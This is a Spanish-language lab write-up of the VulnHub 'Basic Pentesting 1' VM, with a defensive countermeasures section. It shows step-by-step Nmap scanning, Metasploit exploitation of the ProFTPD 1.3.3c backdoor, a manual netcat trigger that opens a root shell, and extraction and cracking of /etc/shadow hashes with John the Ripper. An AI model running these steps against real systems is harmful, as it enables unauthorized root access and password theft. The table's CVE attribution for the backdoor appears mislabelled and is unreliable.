🎯Basic Pentesting 1
Máquina boot2root para aprender pentesting desde cero
Basic Pentesting 1 es una máquina virtual de tipo boot2root diseñada específicamente para aprender las fases fundamentales del pentesting. El objetivo es simple pero completo: acceder remotamente a la VM, explotar el servicio vulnerable identificado y localizar los archivos que contienen las contraseñas de los usuarios del sistema.
Este writeup cubre el flujo de trabajo completo de un pentest básico real:
- Reconocimiento de red: descubrir la IP de la máquina objetivo
- Escaneo de puertos: identificar servicios y versiones expuestas
- Explotación: aprovechar una backdoor en ProFTPD 1.3.3c
- Post-explotación: obtener y descifrar hashes de contraseñas
Las herramientas principales son Nmap para reconocimiento, Metasploit para la explotación, y John the Ripper con el archivo rockyou.txt para el cracking de hashes SHA-512.
⚠ USO EXCLUSIVAMENTE EDUCATIVOTodas las técnicas descritas deben practicarse únicamente en entornos de laboratorio autorizados como esta máquina virtual. El uso de estas técnicas contra sistemas reales sin autorización explícita es ilegal.
⬇Descarga e Información del Archivo
Verificación de integridad y datos de la VM
⬇️
Basic Pentesting 1 — OVA
VulnHub — Máquina virtual boot2root — VirtualBox OVA — Linux
Tamaño: 2.6 GB |
MD5: D1FB9419D73D26AB0C88D8DDB7C10A02
SHA1: F207A5CED5369A44BA9991B932B8C683C4AA14C2
⬇ Descargar
💡 VERIFICAR LA INTEGRIDADAntes de importar la VM, verifica siempre el hash del archivo descargado para asegurarte de que no ha sido modificado. En Linux: md5sum basic.pentesting.1.ova y sha1sum basic.pentesting.1.ova. Compara con los valores de arriba.
💻ESPECIFICACIONES DE LA MÁQUINA
| Parámetro | Valor |
| Formato | OVA (Open Virtual Appliance) — VirtualBox |
| Sistema Operativo | Linux (Ubuntu/Debian) |
| Servicio DHCP | Habilitado — IP asignada automáticamente |
| Red recomendada | Red NAT (NatNetwork) en VirtualBox |
| Usuario de la VM | marlinspike / marlinspike |
| Puertos abiertos | 21 (FTP), 22 (SSH), 80 (HTTP) |
| Objetivo | Obtener las contraseñas del sistema (/etc/shadow) |
🌐Modos de Red en VirtualBox
Cuál elegir para que las dos máquinas se vean entre sí
Antes de montar el laboratorio es fundamental entender los diferentes modos de red de VirtualBox para elegir el más adecuado. Necesitamos un modo que permita comunicación entre la VM Kali y la VM víctima.
🔗 Red Interna
Las VMs se comunican entre ellas como en una LAN, pero sin acceso a internet ni al host. Máxima protección de aislamiento. Las VMs obtienen IPs propias, no relacionadas con el host.
Sin internet
🔄 NAT
El host facilita la IP a la VM. Permite acceso a internet, pero las VMs no pueden verse entre sí (todas tienen la misma IP). No sirve para este laboratorio.
VMs no se ven
🌐 Adaptador Puente
La VM obtiene IP directamente del router como si fuera un equipo físico. Permite internet y comunicación entre VMs, pero expone las VMs a la red real. Evitarlo con Metasploitable.
Exposición a red real
✅ Red NAT (NatNetwork)
La opción óptima: permite que las VMs se vean entre ellas Y tengan acceso a internet, en una red privada virtual separada de la red real. Ideal para laboratorios de pentesting.
✓ Recomendado
📌 CREAR UNA RED NAT EN VIRTUALBOXVe a Archivo → Preferencias → Red → Redes NAT y crea una nueva con el rango que quieras (ej: 10.0.2.0/24). Luego en cada VM ve a Configuración → Red → Adaptador 1 y selecciona «Red NAT» con el nombre de la red que creaste. Ambas VMs deben usar la misma red NAT.
⚙Montar el Laboratorio
Pasos para importar y configurar las dos máquinas virtuales
1
Descargar e importar la OVA de Basic Pentesting 1
Descarga el archivo basic.pentesting.1.ova desde VulnHub, verifica su hash y en VirtualBox ve a Archivo → Importar servicio virtualizado para importarla.

Importando la OVA de Basic Pentesting 1 en VirtualBox
2
Configurar Red NAT en ambas máquinas virtuales
Configura la misma Red NAT en Kali y en la VM víctima para que puedan verse. El rango de red será del tipo 10.0.2.0/24 con DHCP habilitado.

Configuración de la Red NAT en VirtualBox

Panel de red de VirtualBox

Configuración de adaptador de red de la VM
3
Iniciar la máquina víctima y hacer login
Enciende la VM Basic Pentesting 1. En la pantalla de inicio encontrarás la opción de entrar como invitado o con usuario/contraseña. Las credenciales son marlinspike:marlinspike — importante: esto es información interna que el atacante aún no conoce en este punto del ejercicio. Rechaza las actualizaciones para mantener la VM vulnerable como viene por defecto.

Pantalla de inicio de Basic Pentesting 1

Login exitoso con usuario marlinspike
4
Arrancar Kali Linux y verificar la conectividad
Enciende tu máquina Kali Linux. Kali recibirá automáticamente una IP en el mismo rango (ej: 10.0.2.15). A continuación usaremos Nmap para descubrir la IP de la víctima.

Kali Linux listo con IP 10.0.2.15 asignada en la Red NAT
🔍Fase 1 — Reconocimiento de Red
Descubrir la IP de la máquina víctima con Nmap
01
Descubrimiento de hosts
Identificar qué máquinas están activas en la red NAT
RECONOCIMIENTO
Con ambas VMs en la misma Red NAT el paso inicial es descubrir la IP que el servidor DHCP ha asignado a la máquina víctima. Nmap ofrece dos formas equivalentes de hacer esto:
# Opción 1: escaneo básico de toda la subred
nmap 10.0.2.1/24
# Opción 2: solo descubrimiento de hosts (sin escaneo de puertos)
# -sn = ping scan (no port scan)
nmap -sn 10.0.2.1/24
# Resultado esperado: veremos la IP de la víctima, en este caso: 10.0.2.4
📌 -sn (PING SCAN)La opción -sn indica a Nmap que no ejecute escaneo de puertos tras descubrir los hosts. Útil cuando solo queremos un inventario rápido de qué máquinas están activas en la red, sin necesidad de analizar sus servicios todavía.

Resultado de nmap -sn 10.0.2.1/24: la víctima aparece en 10.0.2.4
La máquina víctima tiene asignada la IP 10.0.2.4. Este es nuestro objetivo para los siguientes pasos.
📊Fase 2 — Escaneo de Puertos y Servicios
Descubrir qué servicios están expuestos y qué versiones usan
02
Enumeración de servicios
Identificar puertos abiertos y versiones para encontrar vulnerabilidades
ESCANEO
1
Escaneo completo de todos los puertos
# -p- : escanear TODOS los puertos (1-65535)
# --open : mostrar solo los puertos abiertos
# -sC : ejecutar scripts de detección por defecto (NSE)
# -n : no resolver DNS (más rápido)
# -vvv : máxima verbosidad (ver resultados en tiempo real)
nmap -p- --open -sC -n -vvv 10.0.2.4

Escaneo nmap completo: puertos 21, 22 y 80 abiertos
Resultado: puertos abiertos 21 (FTP), 22 (SSH) y 80 (HTTP)
2
Detección de versiones de los servicios
Una vez conocemos los puertos abiertos, realizamos un escaneo más dirigido con detección de versiones para saber exactamente qué software y versión corre en cada puerto.
# -p 21,22,80 : solo escanear estos puertos
# -sV : detectar versiones de los servicios
nmap -p 21,22,80 -sV 10.0.2.4

Detección de versiones: Puerto 21 ejecuta ProFTPD 1.3.3c
Hallazgo crítico: el puerto 21 ejecuta ProFTPD 1.3.3c — una versión con una backdoor conocida.
📊RESUMEN DE SERVICIOS DETECTADOS
| Puerto | Servicio | Versión | Riesgo | Vector |
21/tcp | FTP | ProFTPD 1.3.3c | CRÍTICO | Backdoor CVE-2010-4221 |
22/tcp | SSH | OpenSSH | MEDIO | Credenciales débiles |
80/tcp | HTTP | Apache | MEDIO | Enumeración web |
🔴Fase 3 — Explotación ProFTPD 1.3.3c
Aprovechar la backdoor para obtener acceso remoto sin credenciales
03
Explotación del servicio FTP
Backdoor en ProFTPD 1.3.3c — acceso root sin autenticación
EXPLOTACIÓN
📌 ProFTPD 1.3.3c BACKDOOREn noviembre de 2010, atacantes comprometieron el repositorio de distribución de ProFTPD e introdujeron una puerta trasera (backdoor) en la versión 1.3.3c. Cualquier atacante que se conecte al servidor con el comando HELP ACIDBITCHEZ obtiene una shell con privilegios de root sin necesitar ninguna credencial válida. Esta es la vulnerabilidad que explotaremos.
1
Iniciar Metasploit y buscar el exploit
# Iniciar la consola de Metasploit
msfconsole
# Buscar el exploit de ProFTPD 1.3.3c
search ProFTPD 1.3.3c
# Resultado:
# exploit/unix/ftp/proftpd_133c_backdoor

msfconsole iniciada y lista para buscar exploits

Resultado de 'search ProFTPD 1.3.3c': el exploit proftpd_133c_backdoor
2
Seleccionar el exploit y configurarlo
# Seleccionar el exploit
use exploit/unix/ftp/proftpd_133c_backdoor
# Configurar la IP de la víctima
set RHOSTS 10.0.2.4
# Ver opciones del exploit
options

Exploit seleccionado y RHOSTS configurado con la IP 10.0.2.4

Opciones del exploit proftpd_133c_backdoor
3
Seleccionar el payload y ejecutar
El payload define qué hacer una vez que el exploit tiene éxito. En este caso usamos cmd/unix/bind_perl, que crea un servidor de shell en el puerto indicado al que Metasploit se conectará. Este payload usa Perl, que está disponible prácticamente en cualquier sistema Linux.
# Seleccionar el payload bind shell en Perl
set payload cmd/unix/bind_perl
# Ejecutar el exploit
exploit

Payload cmd/unix/bind_perl seleccionado

Exploit ejecutado con éxito: shell remota obtenida en la máquina víctima
✅ ¡Acceso root obtenido! La backdoor de ProFTPD 1.3.3c nos ha proporcionado una shell remota con privilegios de superusuario.
💡 BIND SHELL VS REVERSE SHELLEn una bind shell el servidor (víctima) abre un puerto y espera que el atacante se conecte. En una reverse shell la víctima se conecta activamente al atacante. La reverse shell es más útil cuando hay un firewall que bloquea conexiones entrantes a la víctima, pero permite las salientes.
🔐Fase 4 — Post-explotación
Explorar el sistema y localizar los archivos de contraseñas
04
Post-explotación
Explorar el sistema comprometido y extraer credenciales
POST-EXPLOTACIÓN
1
Navegar el sistema de archivos
Con la shell activa, comenzamos a explorar el sistema. El comando ls lista los archivos del directorio actual. Tenemos acceso completo como root.
# Listar archivos del directorio actual
ls
# Ver en qué directorio estamos
pwd
# Verificar que somos root
whoami
id
# Ver los usuarios del sistema
cat /etc/passwd

Shell remota activa: exploramos el sistema de archivos con ls
2
Localizar y extraer /etc/passwd y /etc/shadow
Los dos archivos que necesitamos para romper las contraseñas son /etc/passwd (información de usuarios) y /etc/shadow (hashes de contraseñas). Solo root puede leer /etc/shadow.
# Ver el contenido de /etc/passwd
cat /etc/passwd
# Ver el contenido de /etc/shadow (solo root puede leerlo)
cat /etc/shadow
# Copiar las líneas del usuario marlinspike en archivos separados
grep 'marlinspike' /etc/passwd > /tmp/passwd.txt
grep 'marlinspike' /etc/shadow > /tmp/shadow.txt
# Descargar a nuestra máquina Kali (o copiar manualmente)
cat /tmp/passwd.txt
cat /tmp/shadow.txt
🔒/etc/shadow y los Hashes de Contraseñas
Cómo Linux almacena las contraseñas de forma segura
En los sistemas Linux modernos, las contraseñas nunca se almacenan en texto plano. Se guardan como hashes criptográficos en el archivo /etc/shadow, que solo puede leer el superusuario (root). Entender la estructura de estos archivos es fundamental para el proceso de cracking.
📄ESTRUCTURA DEL ARCHIVO /etc/passwd
Cada línea de /etc/passwd tiene 7 campos separados por dos puntos (:):

Estructura de una línea de /etc/passwd
| Campo | Nombre | Descripción |
| 1 | Nombre de usuario | Nombre de login. Entre 1 y 32 caracteres. |
| 2 | Contraseña | x indica que la contraseña cifrada está en /etc/shadow. |
| 3 | UID | ID de usuario. 0 = root. 1-99 reservados. 100-999 para cuentas del sistema. |
| 4 | GID | ID del grupo principal del usuario. |
| 5 | GECOS | Campo de comentario: nombre completo, teléfono, etc. |
| 6 | Directorio home | Ruta absoluta al directorio personal del usuario. |
| 7 | Shell | Shell por defecto del usuario (/bin/bash, /sbin/nologin, etc.) |
🔒ESTRUCTURA DEL ARCHIVO /etc/shadow
El archivo /etc/shadow almacena las contraseñas cifradas. Es propiedad de root (permisos 640). El hash del usuario marlinspike encontrado en esta máquina es:
Archivo /etc/passwd — línea de marlinspike
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
Archivo /etc/shadow — hash de marlinspike
marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::
El prefijo $6$ identifica el algoritmo utilizado. Desglose del hash:
| Fragmento | Significado |
$6$ | Algoritmo SHA-512 (el más seguro en /etc/shadow) |
wQb5nV3T | Salt (valor aleatorio que evita ataques de tabla arcoíris) |
xB2WO/jOkbn4t1R... | Hash resultante de SHA-512(salt + contraseña) |
17484 | Días desde 1/1/1970 hasta el último cambio de contraseña |
0 | Días mínimos entre cambios de contraseña |
99999 | Días máximos antes de expirar la contraseña |
7 | Días de aviso antes de la expiración |

Archivo /etc/shadow con el hash SHA-512 del usuario marlinspike
💫Fase 5 — Cracking del Hash con John the Ripper
Combinar passwd y shadow con unshadow y romper el hash SHA-512
05
Cracking de contraseñas
John the Ripper + rockyou.txt para romper SHA-512
CRACKING
Para romper el hash SHA-512 usaremos John the Ripper, uno de los crackers de contraseñas más populares. El proceso requiere dos pasos: primero combinar los archivos passwd y shadow con la herramienta unshadow (incluida con John), y luego pasar el resultado a John con un diccionario de palabras.
1
Preparar los archivos para unshadow
Guardamos en Kali las líneas relevantes de cada archivo. Solo necesitamos la línea del usuario que queremos crackear.
# Crear passwd.txt con la línea de marlinspike
echo 'marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash' > passwd.txt
# Crear shadow.txt con el hash de marlinspike
echo 'marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::' > shadow.txt
# Verificar los archivos
cat passwd.txt
cat shadow.txt
2
Combinar los archivos con unshadow
unshadow es una utilidad incluida con John the Ripper que combina el archivo /etc/passwd con el /etc/shadow en un formato que John puede procesar directamente.
# unshadow combina passwd y shadow en un formato que John entiende
# El resultado se redirige a un nuevo archivo
unshadow passwd.txt shadow.txt > unshadow.txt
# Ver el resultado combinado
cat unshadow.txt
# Salida esperada:
# marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1R...:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash

Archivos passwd.txt y shadow.txt preparados y combinados con unshadow
3
Ejecutar John the Ripper con rockyou.txt
John intentará primero con el diccionario rockyou.txt (más de 14 millones de contraseñas comunes). Si no encuentra la contraseña en el diccionario, pasará automáticamente a modo incremental (fuerza bruta completa), que puede tardar mucho tiempo.
# --wordlist : especifica el diccionario
# --format : tipo de hash (sha512crypt para $6$)
john --wordlist=/home/kali/Desktop/rockyou.txt --format=sha512crypt unshadow.txt
# Si John ya encontró la contraseña en una ejecución anterior,
# para verla de nuevo:
john --show unshadow.txt
# John guarda los resultados en ~/.john/john.pot
cat ~/.john/john.pot

John the Ripper procesando el hash con rockyou.txt

John encontró la contraseña en el diccionario

Resultado final: usuario marlinspike, contraseña marlinspike
✅ Contraseña encontrada! Usuario: marlinspike — Contraseña: marlinspike
💡 POR QUÉ rockyou.txt FUNCIONÓ TAN RÁPIDOLa contraseña marlinspike es el propio nombre de usuario, una práctica extremadamente común y peligrosa. rockyou.txt contiene las contraseñas más usadas en filtraciones reales. Cualquier contraseña que sea una palabra del diccionario, un nombre propio, o variaciones simples será encontrada en segundos. La defensa: contraseñas largas, aleatorias y únicas para cada cuenta.
🔧Referencia: ProFTPD 1.3.3c Backdoor
Descripción técnica completa de la vulnerabilidad
ProFTPD es un servidor FTP de código abierto que se anuncia como «altamente configurable» y con licencia GPL. En noviembre de 2010, el repositorio oficial de distribucón de ProFTPD fue comprometido por atacantes externos. Durante varios días, el archivo descargable contenía una versión modificada con una backdoor en la versión 1.3.3c.
📌FUNCIONAMIENTO TÉCNICO DE LA BACKDOOR
La backdoor se activa cuando un cliente envía el comando HELP ACIDBITCHEZ al servidor FTP. En ese momento ProFTPD ejecuta una shell de root accesible en el puerto 6200/tcp. El exploit de Metasploit automatiza exactamente este proceso:
- Se conecta al servidor ProFTPD en el puerto 21
- Envía el comando especial que activa la backdoor
- El servidor abre una shell root en el puerto 6200
- Metasploit se conecta al puerto 6200 y entrega el payload
# Esto muestra cómo funciona la backdoor manualmente
# (solo con fines educativos para entender el mecanismo)
# 1. Conectar al FTP
nc 10.0.2.4 21
# 2. El servidor responderá con el banner
# 220 ProFTPD 1.3.3c Server (Debian) [10.0.2.4]
# 3. Enviar el comando que activa la backdoor
HELP ACIDBITCHEZ
# 4. En otra terminal, conectar al puerto 6200 donde espera la shell
nc 10.0.2.4 6200
# Si funciona, obtendremos una shell root directa
🛡PREVENCIÓN Y MITIGACIÓN
- Actualizar ProFTPD a una versión 1.3.3d o superior que no contenga la backdoor
- Verificar los hashes de cualquier software descargado antes de instalarlo
- Usar fuentes oficiales con firma GPG verificada para descargar software
- Monitorizar el tráfico de red: conexiones salientes inesperadas en puertos altos son señal de compromiso
- Principio de mínimos privilegios: los servicios no deben correr como root si no es necesario
- Alternativas seguras a FTP: usar SFTP (sobre SSH) o FTPS (FTP sobre TLS)
📄Estructura Detallada de /etc/passwd
Los 7 campos de cada línea del archivo de usuarios
El archivo /etc/passwd es legible por todos los usuarios del sistema (permisos 644). Contiene la información básica de cada cuenta, pero nunca las contraseñas reales (que están en /etc/shadow).
# Línea de marlinspike en /etc/passwd:
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
# ^ ^ ^ ^ ^ ^ ^
# 1 2 3 4 5 6 7
# Significado de cada campo:
# 1: Nombre de usuario -> marlinspike
# 2: Contraseña -> x (la real está en /etc/shadow)
# 3: UID -> 1000 (usuario normal, no root)
# 4: GID -> 1000 (grupo principal)
# 5: GECOS (comentario) -> marlinspike,,,
# 6: Directorio home -> /home/marlinspike
# 7: Shell por defecto -> /bin/bash
📌 UID 0 = ROOTEl UID 0 está siempre reservado para root. Si en un pentest encuentras un usuario con UID 0 que no es root, es un fuerte indicador de que el sistema ha sido comprometido previamente y alguien ha creado una cuenta backdoor con privilegios de superusuario.
💡 PRECAUCIÓN AL MODIFICAR /etc/passwdComo dice el writeup original: modificar este archivo manualmente solo en casos excepcionales y sabiendo exactamente lo que se hace. Un error puede hacer el sistema inutilizable, ya que este archivo es la raíz del sistema de permisos. En sistemas modernos, usa useradd, usermod y userdel para gestionar usuarios.
🔐Algoritmos de Hash en /etc/shadow
Identificar el tipo de cifrado por el prefijo del hash
El formato del hash en /etc/shadow sigue el esquema $id$salt$hash. El $id$ identifica el algoritmo utilizado, lo que es crucial para indicar a las herramientas de cracking el formato correcto.
🔐TABLA DE IDENTIFICADORES DE ALGORITMOS
| Prefijo | Algoritmo | Seguridad | Parámetro John | Parámetro Hashcat |
$1$ | MD5 | Muy débil | --format=md5crypt | -m 500 |
$2a$ | Blowfish (bcrypt) | Fuerte | --format=bcrypt | -m 3200 |
$2y$ | Eksblowfish | Fuerte | --format=bcrypt | -m 3200 |
$5$ | SHA-256 | Bueno | --format=sha256crypt | -m 7400 |
$6$ | SHA-512 | Muy bueno | --format=sha512crypt | -m 1800 |
$y$ | yescrypt | Excelente | --format=crypt | N/A |
💡 EL ALGORITMO NO ES SUFICIENTEAunque SHA-512 ($6$) es criptográficamente sólido, el cracking con fuerza bruta es posible si la contraseña es débil (como en este caso: marlinspike). La robustez del sistema depende de la calidad de la contraseña, no solo del algoritmo. Una contraseña larga y aleatoria de 20 caracteres con SHA-512 es prácticamente imposible de romper con fuerza bruta en tiempo razonable.
🛡Medidas Defensivas
Cómo proteger un sistema real de los ataques de este writeup
🛡TABLA DE CONTRAMEDIDAS
| Ataque | Herramienta usada | Medida defensiva |
| Descubrimiento de host | Nmap -sn | Firewall que bloquee ICMP; detección de escaneos con IDS/IPS |
| Escaneo de puertos | Nmap -sV | Cerrar puertos innecesarios; banner grabbing ocultado; fail2ban |
| Backdoor ProFTPD | Metasploit | Actualizar ProFTPD ≥1.3.3d; verificar hashes; usar SFTP en lugar de FTP |
| Lectura de /etc/shadow | Shell como root | No ejecutar servicios como root; SELinux/AppArmor; privilegio mínimo |
| Cracking de hash | John + rockyou.txt | Contraseñas largas y aleatorias; políticas de complejidad; 2FA |
# Actualizar todo el sistema (incluye parches de seguridad)
sudo apt update && sudo apt upgrade -y
# Comprobar qué servicios estén escuchando en la red
sudo ss -tlnp
# o:
sudo netstat -tlnp
# Configurar fail2ban para bloquear ataques de fuerza bruta
sudo apt install fail2ban -y
sudo systemctl enable fail2ban --now
# Activar firewall UFW
sudo ufw enable
sudo ufw default deny incoming
sudo ufw allow 22/tcp # Solo permitir SSH
sudo ufw status verbose
# Verificar usuarios con UID 0 (todos deben ser solo root)
awk -F: '($3 == 0) {print}' /etc/passwd
# Buscar archivos SUID (posibles vectores de escalada)
find / -perm -4000 -type f 2>/dev/null
# Ver los últimos intentos de login fallidos
grep 'Failed password' /var/log/auth.log | tail -20
🏆Conclusiones y Próximos Pasos
Lo aprendido en este writeup
Este writeup ha cubierto un flujo de pentesting completo de principio a fin:
- Reconocimiento: localizar el objetivo con
nmap -sn
- Enumeración: descubrir servicios y versiones con
nmap -sV
- Explotación: aprovechar la backdoor de ProFTPD 1.3.3c con Metasploit
- Post-explotación: acceder a
/etc/shadow y extraer hashes
- Cracking: romper el hash SHA-512 con John +
rockyou.txt
El resultado final — descubrir que la contraseña era el propio nombre de usuario (marlinspike:marlinspike) — ilustra una de las lecciones más importantes del hacking ético: el factor humano es siempre el eslabón más débil. No importa cuán fuerte sea el algoritmo de hash (SHA-512) si la contraseña es trivialmente predecible.
📚SIGUIENTES MÁQUINAS RECOMENDADAS
- Metasploitable2 — VulnHub / Rapid7: máquina con múltiples servicios vulnerables, ideal para continuar practicando
- Mr. Robot — VulnHub: nivel intermedio, orientada a la serie de TV, con enumeración web y privilege escalation
- HackTheBox — Starting Point: máquinas guiadas de nivel inicial perfectas para progresar después de este writeup
- TryHackMe — Complete Beginner Path: ruta estructurada de aprendizaje con máquinas progresivas
✓ CONCLUSIÓNHas completado el writeup de Basic Pentesting 1. Los conceptos de Nmap, Metasploit, /etc/shadow, unshadow y John the Ripper que has practicado aquí son la base de cualquier certificación de ethical hacking: eJPT, CEH, OSCP. Practica siempre en entornos autorizados.